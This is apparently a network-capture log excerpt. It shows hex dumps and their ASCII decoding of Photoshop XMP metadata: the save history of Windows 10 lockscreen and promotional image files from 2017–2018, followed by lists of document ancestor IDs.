Data Ascii: 07-08:00&#x9;File C:\Users\v-lizagh\MS\Windows10\Cortana\Spotlight\CHOSEN\Cortana-Spotlight_shutterstock_91911980_1920x1080.jpg saved&#xA;2017-03-06T13:39:57-08:00&#x9;File C:\Users\v-lizagh\MS\Windows10\Lockscreen_1920x1080_Landscape.psd saved&#xA;2017-0
2022-04-08 08:02:42 UTC818INData Raw: 32 30 36 32 35 35 35 5f 31 39 32 30 78 31 30 38 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 33 2d 32 37 54 31 32 3a 30 37 3a 30 37 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 57 69 6e 64 6f 77 73 5c 53 65 72 76 69 63 69 6e 67 5c 43 48 4f 53 45 4e 5c 52 6f 75 6e 64 31 5c 57 69 6e 64 6f 77 73 53 65 72 76 69 63 69 6e 67 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 35 30 38 33 34 32 36 33 34 5f 31 39 32 30 78 31 30 38 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 33 2d 32 37 54 31 32 3a 30 38 3a 32 38 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77
Data Ascii: 2062555_1920x1080.jpg saved&#xA;2017-03-27T12:07:07-07:00&#x9;File C:\Users\v-lizagh\MS\Windows10\Windows\Servicing\CHOSEN\Round1\WindowsServicing_GettyImages-508342634_1920x1080.jpg saved&#xA;2017-03-27T12:08:28-07:00&#x9;File C:\Users\v-lizagh\MS\Window
2022-04-08 08:02:42 UTC862INData Raw: 69 63 72 6f 73 6f 66 74 5c 45 6d 70 6f 77 65 72 69 6e 67 43 6c 61 73 73 72 6f 6f 6d 54 6f 6f 6c 73 5c 43 48 4f 53 45 4e 5c 45 6d 70 6f 77 65 72 69 6e 67 54 6f 6f 6c 73 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 34 38 36 37 37 36 36 37 36 5f 31 39 32 30 78 31 30 38 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 34 2d 31 38 54 31 30 3a 35 38 3a 35 34 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4d 69 63 72 6f 73 6f 66 74 5c 45 6d 70 6f 77 65 72 69 6e 67 43 6c 61 73 73 72 6f 6f 6d 54 6f 6f 6c 73 5c 43 48 4f 53 45 4e 5c 45 6d 70 6f 77 65 72 69 6e 67 54 6f 6f 6c 73 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 35 31 32 35 32 36 36 32 33 5f 31 39 32 30 78 31
Data Ascii: icrosoft\EmpoweringClassroomTools\CHOSEN\EmpoweringTools_GettyImages-486776676_1920x1080.jpg saved&#xA;2017-04-18T10:58:54-07:00&#x9;File C:\Users\v-lizagh\MS\Windows10\Microsoft\EmpoweringClassroomTools\CHOSEN\EmpoweringTools_GettyImages-512526623_1920x1
2022-04-08 08:02:42 UTC949INData Raw: 31 39 32 30 78 31 30 38 30 5f 4c 61 6e 64 73 63 61 70 65 30 30 31 46 34 37 39 32 30 44 35 46 34 31 44 38 35 43 33 30 44 45 36 34 33 44 46 35 42 35 37 39 2e 70 73 62 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 35 2d 31 31 54 31 35 3a 30 30 3a 34 38 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4d 6f 6d 65 6e 74 73 49 6e 54 69 6d 65 5c 4e 42 41 5c 4d 61 79 5c 43 68 6f 73 65 6e 5c 43 72 6f 70 73 5c 4d 49 54 2d 4e 42 41 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 31 32 30 34 37 31 33 32 32 5f 31 39 32 30 78 31 30 38 30 2e 70 73 64 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 35 2d 31 31 54 31 35 3a 30 34 3a 31 31 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65
Data Ascii: 1920x1080_Landscape001F47920D5F41D85C30DE643DF5B579.psb saved&#xA;2017-05-11T15:00:48-07:00&#x9;File C:\Users\v-lizagh\MS\Windows10\MomentsInTime\NBA\May\Chosen\Crops\MIT-NBA_GettyImages-120471322_1920x1080.psd saved&#xA;2017-05-11T15:04:11-07:00&#x9;File
2022-04-08 08:02:42 UTC965INData Raw: 42 42 35 37 35 32 36 38 36 38 38 35 31 44 32 37 31 43 42 31 43 2e 70 73 62 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 36 2d 31 31 54 32 30 3a 32 34 3a 31 36 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4f 66 66 69 63 65 5c 4f 66 66 69 63 65 2d 42 61 74 63 68 32 5c 5f 43 48 4f 53 45 4e 2d 4f 33 36 35 52 65 6e 65 77 61 6c 5c 4f 66 66 69 63 65 2d 42 32 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 36 37 34 34 37 39 38 34 31 5f 31 39 32 30 78 31 30 38 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 36 2d 31 31 54 32 30 3a 32 35 3a 33 33 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c
Data Ascii: BB57526868851D271CB1C.psb saved&#xA;2017-06-11T20:24:16-07:00&#x9;File C:\Users\v-lizagh\MS\Windows10\Office\Office-Batch2\_CHOSEN-O365Renewal\Office-B2_GettyImages-674479841_1920x1080.jpg saved&#xA;2017-06-11T20:25:33-07:00&#x9;File C:\Users\v-lizagh\MS\
2022-04-08 08:02:42 UTC1061INData Raw: 52 65 63 6f 76 65 72 5c 5f 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 39 32 30 78 31 30 38 30 5f 4c 61 6e 64 73 63 61 70 65 30 30 31 46 34 37 39 32 30 44 35 46 34 31 44 38 35 43 33 30 44 45 36 34 33 44 46 35 42 35 37 39 2e 70 73 62 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 37 2d 30 39 54 31 39 3a 34 34 3a 33 33 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 39 32 30 78 31 30 38 30 5f 4c 61 6e 64 73 63 61 70 65 2e 70 73 64 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 37 2d 31 31 54 31 32 3a 35 37 3a 33 34 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 39 32 30 78 31 30 38 30 5f 4c 61
Data Ascii: Recover\_Lockscreen_1920x1080_Landscape001F47920D5F41D85C30DE643DF5B579.psb saved&#xA;2017-07-09T19:44:33-07:00&#x9;File C:\Users\v-lizagh\MS\Windows10\Lockscreen_1920x1080_Landscape.psd saved&#xA;2017-07-11T12:57:34-07:00&#x9;File Lockscreen_1920x1080_La
2022-04-08 08:02:42 UTC1132INData Raw: 51 75 69 7a 5c 5f 43 48 4f 53 45 4e 5c 43 72 6f 70 73 5c 42 69 6e 67 53 70 6f 74 6c 69 67 68 74 51 75 69 7a 5f 73 68 75 74 74 65 72 73 74 6f 63 6b 5f 31 39 34 31 38 35 39 39 5f 31 39 32 30 78 31 30 38 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 37 2d 33 31 54 31 34 3a 35 36 3a 33 35 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 39 32 30 78 31 30 38 30 5f 4c 61 6e 64 73 63 61 70 65 2e 70 73 64 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 37 2d 33 31 54 31 35 3a 33 33 3a 34 34 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 41 70 70 44 61 74 61 5c
Data Ascii: Quiz\_CHOSEN\Crops\BingSpotlightQuiz_shutterstock_19418599_1920x1080.jpg saved&#xA;2017-07-31T14:56:35-07:00&#x9;File C:\Users\v-lizagh\MS\Windows10\Lockscreen_1920x1080_Landscape.psd saved&#xA;2017-07-31T15:33:44-07:00&#x9;File C:\Users\v-lizagh\AppData\
2022-04-08 08:02:42 UTC1188INData Raw: 2d 34 35 32 31 36 32 38 39 35 5f 31 39 32 30 78 31 30 38 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 39 2d 31 35 54 31 33 3a 35 30 3a 35 31 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 43 6f 72 74 61 6e 61 5c 41 63 71 75 69 73 69 74 69 6f 6e 73 52 65 6d 69 6e 64 65 72 73 5c 43 68 6f 73 65 6e 5c 43 72 6f 70 73 5c 41 63 71 52 65 6d 69 6e 64 65 72 73 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 31 31 31 30 35 38 30 34 33 5f 31 39 32 30 78 31 30 38 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 39 2d 31 35 54 31 33 3a 35 31 3a 30 33 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68
Data Ascii: -452162895_1920x1080.jpg saved&#xA;2017-09-15T13:50:51-07:00&#x9;File C:\Users\v-lizagh\MS\Windows10\Cortana\AcquisitionsReminders\Chosen\Crops\AcqReminders_GettyImages-111058043_1920x1080.jpg saved&#xA;2017-09-15T13:51:03-07:00&#x9;File C:\Users\v-lizagh
2022-04-08 08:02:42 UTC1299INData Raw: 53 2d 52 65 77 61 72 64 73 2d 57 65 6c 63 6f 6d 65 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 34 36 37 31 37 39 32 33 39 5f 31 39 32 30 78 31 30 38 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 39 2d 32 38 54 31 31 3a 33 31 3a 32 37 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 41 70 70 44 61 74 61 5c 52 6f 61 6d 69 6e 67 5c 41 64 6f 62 65 5c 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 43 43 20 32 30 31 37 5c 41 75 74 6f 52 65 63 6f 76 65 72 5c 5f 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 39 32 30 78 31 30 38 30 5f 4c 61 6e 64 73 63 61 70 65 30 30 31 46 34 37 39 32 30 44 35 46 34 31 44 38 35 43 33 30 44 45 36 34 33 44 46 35 42 35 37 39 2e 70 73 62 20 73 61 76 65 64 26 23 78 41 3b 32 30
Data Ascii: S-Rewards-Welcome_GettyImages-467179239_1920x1080.jpg saved&#xA;2017-09-28T11:31:27-07:00&#x9;File C:\Users\v-lizagh\AppData\Roaming\Adobe\Adobe Photoshop CC 2017\AutoRecover\_Lockscreen_1920x1080_Landscape001F47920D5F41D85C30DE643DF5B579.psb saved&#xA;20
2022-04-08 08:02:42 UTC1386INData Raw: 20 6f 70 65 6e 65 64 26 23 78 41 3b 32 30 31 37 2d 31 31 2d 31 35 54 31 36 3a 30 35 3a 33 32 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4f 66 66 69 63 65 5c 53 70 6f 74 6c 69 67 68 74 5f 46 59 31 37 5c 5f 43 48 4f 53 45 4e 5c 52 65 61 63 71 75 69 73 69 74 69 6f 6e 5c 43 72 6f 70 73 5c 4f 66 66 69 63 65 2d 52 65 61 63 71 75 69 73 69 74 69 6f 6e 5f 73 68 75 74 74 65 72 73 74 6f 63 6b 5f 33 36 30 37 38 36 37 32 35 5f 31 39 32 30 78 31 30 38 30 2e 70 73 64 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 31 31 2d 31 35 54 31 36 3a 30 37 3a 31 31 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e
Data Ascii: opened&#xA;2017-11-15T16:05:32-08:00&#x9;File C:\Users\v-lizagh\MS\Windows10\Office\Spotlight_FY17\_CHOSEN\Reacquisition\Crops\Office-Reacquisition_shutterstock_360786725_1920x1080.psd saved&#xA;2017-11-15T16:07:11-08:00&#x9;File C:\Users\v-lizagh\MS\Win
2022-04-08 08:02:42 UTC2088INData Raw: 65 6e 74 73 49 6e 54 69 6d 65 5c 43 6f 6c 6c 65 67 65 46 6f 6f 74 62 61 6c 6c 42 6f 77 6c 5c 43 48 4f 53 45 4e 5c 43 72 6f 70 73 5c 4d 49 54 2d 43 6f 6c 6c 65 67 65 46 6f 6f 74 62 61 6c 6c 42 6f 77 6c 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 38 32 36 32 31 30 38 38 36 5f 31 39 32 30 78 31 30 38 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 31 32 2d 31 34 54 31 32 3a 33 36 3a 33 30 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 39 32 30 78 31 30 38 30 5f 4c 61 6e 64 73 63 61 70 65 2e 70 73 64 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 31 32 2d 31 34 54 31 34 3a 31 34 3a 30 34 2d 30 38 3a 30 30 26 23 78 39 3b
Data Ascii: entsInTime\CollegeFootballBowl\CHOSEN\Crops\MIT-CollegeFootballBowl_GettyImages-826210886_1920x1080.jpg saved&#xA;2017-12-14T12:36:30-08:00&#x9;File C:\Users\v-lizagh\MS\Windows10\Lockscreen_1920x1080_Landscape.psd saved&#xA;2017-12-14T14:14:04-08:00&#x9;
2022-04-08 08:02:42 UTC2096INData Raw: 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 39 32 30 78 31 30 38 30 5f 4c 61 6e 64 73 63 61 70 65 2e 70 73 64 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 31 32 2d 32 30 54 32 33 3a 33 32 3a 34 35 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4d 6f 6d 65 6e 74 73 49 6e 54 69 6d 65 5c 4e 46 4c 5c 44 65 63 32 30 31 37 2d 50 6f 73 74 53 65 61 73 6f 6e 5c 43 48 4f 53 45 4e 5c 43 72 6f 70 73 5c 4d 49 54 2d 4e 46 4c 2d 50 6f 73 74 53 65 61 73 6f 6e 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 35 34 37 34 30 35 34 36 38 5f 31 39 32 30 78 31 30 38 30 2e 70 73 64 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 31 32 2d
Data Ascii: -lizagh\MS\Windows10\Lockscreen_1920x1080_Landscape.psd saved&#xA;2017-12-20T23:32:45-08:00&#x9;File C:\Users\v-lizagh\MS\Windows10\MomentsInTime\NFL\Dec2017-PostSeason\CHOSEN\Crops\MIT-NFL-PostSeason_GettyImages-547405468_1920x1080.psd saved&#xA;2017-12-
2022-04-08 08:02:42 UTC2104INData Raw: 23 78 41 3b 32 30 31 38 2d 30 31 2d 32 34 54 31 35 3a 30 30 3a 33 39 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4d 53 72 65 77 61 72 64 73 5c 41 55 2d 58 62 6f 78 47 61 6d 69 6e 67 5c 43 48 4f 53 45 4e 5c 43 72 6f 70 73 5c 4d 53 52 65 77 61 72 64 73 58 62 6f 78 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 36 30 30 31 34 35 35 38 38 5f 31 39 32 30 78 31 30 38 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 38 2d 30 31 2d 32 34 54 31 35 3a 30 33 3a 34 35 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 5f 5f 54 65 6d 70 6c 61 74 65 73 5c 4c 6f 63 6b 73 63 72 65 65 6e
Data Ascii: #xA;2018-01-24T15:00:39-08:00&#x9;File C:\Users\v-lizagh\MS\Windows10\MSrewards\AU-XboxGaming\CHOSEN\Crops\MSRewardsXbox_GettyImages-600145588_1920x1080.jpg saved&#xA;2018-01-24T15:03:45-08:00&#x9;File C:\Users\v-lizagh\MS\Windows10\__Templates\Lockscreen
2022-04-08 08:02:42 UTC2120INData Raw: 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4d 49 54 2d 49 6e 74 65 72 6e 61 74 69 6f 6e 61 6c 5c 48 6f 6d 65 77 6f 72 6b 41 69 64 5c 43 48 4f 53 45 4e 5c 43 72 6f 70 73 5c 4d 49 54 2d 49 6e 74 6c 5f 48 6f 6d 65 77 6f 72 6b 41 69 64 5f 73 68 75 74 74 65 72 73 74 6f 63 6b 5f 35 33 36 34 30 32 35 34 35 5f 31 39 32 30 78 31 30 38 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 38 2d 30 32 2d 31 35 54 31 35 3a 31 38 3a 30 34 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4d 49 54 2d 49 6e 74 65 72 6e 61 74 69 6f 6e 61 6c 5c 48 6f 6d 65 77 6f 72 6b 41 69 64 5c 43 48 4f 53 45 4e 5c 43
Data Ascii: #x9;File C:\Users\v-lizagh\MS\Windows10\MIT-International\HomeworkAid\CHOSEN\Crops\MIT-Intl_HomeworkAid_shutterstock_536402545_1920x1080.jpg saved&#xA;2018-02-15T15:18:04-08:00&#x9;File C:\Users\v-lizagh\MS\Windows10\MIT-International\HomeworkAid\CHOSEN\C
2022-04-08 08:02:42 UTC2136INData Raw: 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4d 69 63 72 6f 73 6f 66 74 5c 4d 69 78 65 72 45 6e 67 61 67 65 6d 65 6e 74 2d 46 59 31 38 5c 52 6f 75 6e 64 32 5c 5f 43 48 4f 53 45 4e 5c 43 72 6f 70 73 5c 4d 69 78 65 72 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 35 30 33 37 30 30 38 32 38 5f 31 39 32 30 78 31 30 38 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 38 2d 30 33 2d 32 31 54 31 35 3a 34 37 3a 34 35 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 5f 5f 54 65 6d 70 6c 61 74 65 73 5c 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 39 32 30 78 31 30 38 30 5f 4c 61 6e 64 73 63 61 70 65 2e 70 73 64 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 38 2d 30 33 2d 32 31 54 31 36 3a 34
Data Ascii: MS\Windows10\Microsoft\MixerEngagement-FY18\Round2\_CHOSEN\Crops\Mixer_GettyImages-503700828_1920x1080.jpg saved&#xA;2018-03-21T15:47:45-07:00&#x9;File C:\Users\v-lizagh\MS\Windows10\__Templates\Lockscreen_1920x1080_Landscape.psd saved&#xA;2018-03-21T16:4
2022-04-08 08:02:42 UTC2144INData Raw: 6c 69 3e 30 33 33 41 43 36 41 32 36 44 38 36 35 46 43 46 41 35 30 38 32 31 30 35 37 42 37 43 32 32 32 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 30 33 33 41 45 34 34 43 43 44 37 45 36 39 30 45 35 45 35 46 38 32 35 45 31 37 44 32 46 44 32 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 30 33 34 46 43 35 44 39 38 32 35 46 42 36 32 33 39 33 39 41 31 34 46 33 32 39 31 42 33 35 44 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 30 33 35 35 30 43 42 35 30 33 36 37 34 45 46 46 32 39 37 36 43 30 45 39 46 33 38 41 33 37 43 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 30 33 35 35 33 39 45 36 34 30 38 42 43 37 46 33 45 45 45 34 42 30 44 33 45 32 42 37 31 41 35 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 30 33
Data Ascii: li>033AC6A26D865FCFA50821057B7C222F</rdf:li> <rdf:li>033AE44CCD7E690E5E5F825E17D2FD2B</rdf:li> <rdf:li>034FC5D9825FB623939A14F3291B35D0</rdf:li> <rdf:li>03550CB503674EFF2976C0E9F38A37CD</rdf:li> <rdf:li>035539E6408BC7F3EEE4B0D3E2B71A54</rdf:li> <rdf:li>03
2022-04-08 08:02:42 UTC2160INData Raw: 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 31 30 37 32 43 35 43 37 39 39 44 30 33 41 41 39 46 31 45 38 34 31 41 34 42 43 46 44 31 38 39 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 31 30 37 38 39 36 34 44 39 30 33 36 30 44 36 34 38 44 46 34 44 44 30 36 34 37 36 39 43 31 37 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 31 30 39 31 37 46 38 33 46 45 33 36 39 31 30 45 34 33 31 32 44 30 43 39 37 34 37 30 34 44 44 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 31 30 39 33 42 46 38 46 41 37 45 39 35 38 37 34 36 38 46 36 36 38 46 44 44 31 37 43 46 37 42 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 31 30 39 38 36 34 42 42 43 46 45 39 46 38 45 37 41 44 37 44 30 32 43 44 31 37 32 33 44 39 33 42 3c 2f 72 64
Data Ascii: C</rdf:li> <rdf:li>1072C5C799D03AA9F1E841A4BCFD1894</rdf:li> <rdf:li>1078964D90360D648DF4DD064769C17F</rdf:li> <rdf:li>10917F83FE36910E4312D0C974704DD9</rdf:li> <rdf:li>1093BF8FA7E9587468F668FDD17CF7B2</rdf:li> <rdf:li>109864BBCFE9F8E7AD7D02CD1723D93B</rd
2022-04-08 08:02:42 UTC2176INData Raw: 30 31 38 45 34 38 37 42 36 37 41 42 43 41 36 46 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 31 45 33 30 37 42 46 46 30 37 33 43 34 44 41 41 37 31 37 34 36 46 33 38 39 31 36 34 35 38 32 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 31 45 36 32 39 37 39 38 44 38 36 38 42 44 41 43 45 39 45 36 43 31 36 39 34 36 31 46 31 33 32 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 31 45 36 35 46 35 32 35 32 42 46 44 41 31 33 37 35 35 34 34 38 45 45 39 34 37 34 44 45 34 33 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 31 45 36 38 43 41 38 41 46 41 36 31 43 35 32 33 32 46 32 43 36 34 43 39 32 38 35 37 32 37 46 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 31 45 36 44 31 31 35 32 31 38 46 32 41 36 37 44 35 33 32 36
Data Ascii: 018E487B67ABCA6F0</rdf:li> <rdf:li>1E307BFF073C4DAA71746F389164582B</rdf:li> <rdf:li>1E629798D868BDACE9E6C169461F132A</rdf:li> <rdf:li>1E65F5252BFDA13755448EE9474DE43A</rdf:li> <rdf:li>1E68CA8AFA61C5232F2C64C9285727F8</rdf:li> <rdf:li>1E6D115218F2A67D5326
2022-04-08 08:02:42 UTC2184INData Raw: 42 39 43 32 42 39 36 45 43 36 42 38 37 38 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 32 34 44 31 34 44 45 46 46 33 38 38 42 41 32 32 38 45 44 31 36 41 36 35 37 30 32 31 36 43 30 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 32 34 44 32 38 42 46 43 42 36 43 39 32 35 42 36 33 32 32 43 42 44 38 33 36 37 37 35 36 36 34 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 32 34 44 45 37 44 32 37 41 37 34 33 43 34 37 41 45 30 45 30 36 38 45 44 37 36 32 30 46 33 45 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 32 34 45 33 43 45 41 38 39 45 31 36 32 41 43 33 44 42 30 41 34 34 42 33 41 46 32 45 45 36 30 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 32 34 46 36 39 30 39 38 32 42 41 42 41 31 36 41 31 32 44 38 36 46
Data Ascii: B9C2B96EC6B8786</rdf:li> <rdf:li>24D14DEFF388BA228ED16A6570216C0E</rdf:li> <rdf:li>24D28BFCB6C925B6322CBD836775664A</rdf:li> <rdf:li>24DE7D27A743C47AE0E068ED7620F3E3</rdf:li> <rdf:li>24E3CEA89E162AC3DB0A44B3AF2EE60B</rdf:li> <rdf:li>24F690982BABA16A12D86F
2022-04-08 08:02:42 UTC2200INData Raw: 46 31 45 30 41 33 34 44 30 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 33 30 45 34 41 46 32 35 44 32 45 38 37 35 42 45 31 37 32 35 32 45 35 45 31 38 33 45 35 43 37 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 33 30 46 39 32 41 46 42 46 37 46 45 35 33 39 33 39 39 38 30 44 37 32 30 36 34 34 45 38 30 45 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 33 31 30 31 43 44 42 30 36 43 43 36 39 34 42 32 33 31 33 38 32 33 36 45 36 35 36 43 36 33 30 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 33 31 31 34 41 46 39 31 44 30 33 38 38 43 44 45 30 30 41 37 32 37 34 46 39 37 35 46 36 43 35 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 33 31 31 39 41 39 30 36 44 35 38 46 37 33 38 35 44 38 36 36 39 45 32 32 41 36 33
Data Ascii: F1E0A34D07</rdf:li> <rdf:li>30E4AF25D2E875BE17252E5E183E5C7C</rdf:li> <rdf:li>30F92AFBF7FE53939980D720644E80E5</rdf:li> <rdf:li>3101CDB06CC694B23138236E656C630A</rdf:li> <rdf:li>3114AF91D0388CDE00A7274F975F6C54</rdf:li> <rdf:li>3119A906D58F7385D8669E22A63
